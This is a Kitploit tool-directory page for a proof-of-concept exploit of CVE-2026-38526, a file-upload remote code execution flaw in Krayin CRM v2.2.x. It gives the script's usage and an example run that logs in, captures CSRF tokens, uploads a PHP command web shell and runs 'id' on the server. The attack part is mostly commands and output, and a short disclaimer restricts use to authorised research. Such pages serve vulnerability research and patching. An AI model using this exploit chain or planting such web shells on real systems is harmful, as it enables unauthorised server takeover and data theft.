Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-38526-KrayinCRM-RCE — CVE-2026-38526 Exploit | by infrar3d | Kitploit
Tools/GitHubGitHub/industri4l-h3ll-xpl0it3rs/cve-2026-38526-krayincrm-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubindustri4l-h3ll-xpl0it3rs/cve-2026-38526-krayincrm-rce

CVE-2026-38526-KrayinCRM-RCE

CVE-2026-38526 Exploit | by infrar3d

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
11 month agoNot yet reviewed
Share

CVE-2026-38526 - Krayin CRM RCE

xpl0ited by infrar3d

This is a Remote Code Execution (RCE) proof-of-concept specifically designed for Krayin CRM v2.2.x, an open-source customer relationship management system. The script automates the exploitation of a file upload vulnerability in the CRM's administrative interface to achieve remote command execution on the target server.

Usage:

root@kitploit:~
python3 CVE-2026-38526.py --help
usage: CVE-2026-38526.py [-h] -rh RHOST -u USERNAME -p PASSWORD -c COMMAND

Krayin CRM RCE Exploit

options:
  -h, --help            show this help message and exit
  -rh, --rhost RHOST    Remote host
  -u, --username USERNAME
                        Username or E-mail
  -p, --password PASSWORD
                        Password
  -c, --command COMMAND
                        Command to execute

Example:

root@kitploit:~
python3 CVE-2026-38526.py -rh http://krayin.endpoint.site -u '[email protected]' -p 's3cur3-p4ss' -c 'id'

[*] Getting login page...
[+] CSRF Token: 3b438w26pvvr2rhWToWURhAhyGPdeWZm6DRShdUd
[*] Attempting login as: [email protected]...
[+] Redirect: http://krayin.endpoint.site/admin/dashboard
[+] Login successful!
[+] Session established successfully
[+] XSRF Token: eyJpdiI6ImVDY3h5c2dRdk5JS1NXaVdJaDJGdVE9PSIsInZhbH...
[*] Getting fresh CSRF token for upload...
[+] Found _token in modal
[+] Upload CSRF Token: ZQwH7QLajl5wZdNAOSX8Sk0v7z9spW1VYrw4VESW
[*] Uploading shell...
[+] Upload response status: 200
[+] File uploaded successfully!
[+] Location: http://krayin.endpoint.site/storage/tinymce/a9e2d9a51d41723acad27dc2c7ec861d.php
[*] Executing command: id
[+] Command output:
============================================================

uid=33(www-data) gid=33(www-data) groups=33(www-data)

============================================================

This script uploads a PHP cmd shell from revshells.com by default.

After the exploitation you can open it in your browser and send commands from the web page.

⚠️ Disclaimer ⚠️

This software and proof-of-concept code is provided for educational and research purposes only.

  • The authors are not responsible for any misuse or damage caused by this program.
  • Do not use against any systems without explicit prior permission.
  • Use of this tools for attacking targets without consent is illegal.

You are responsible for obeying all applicable laws. Use ethically and responsibly.

Download Tool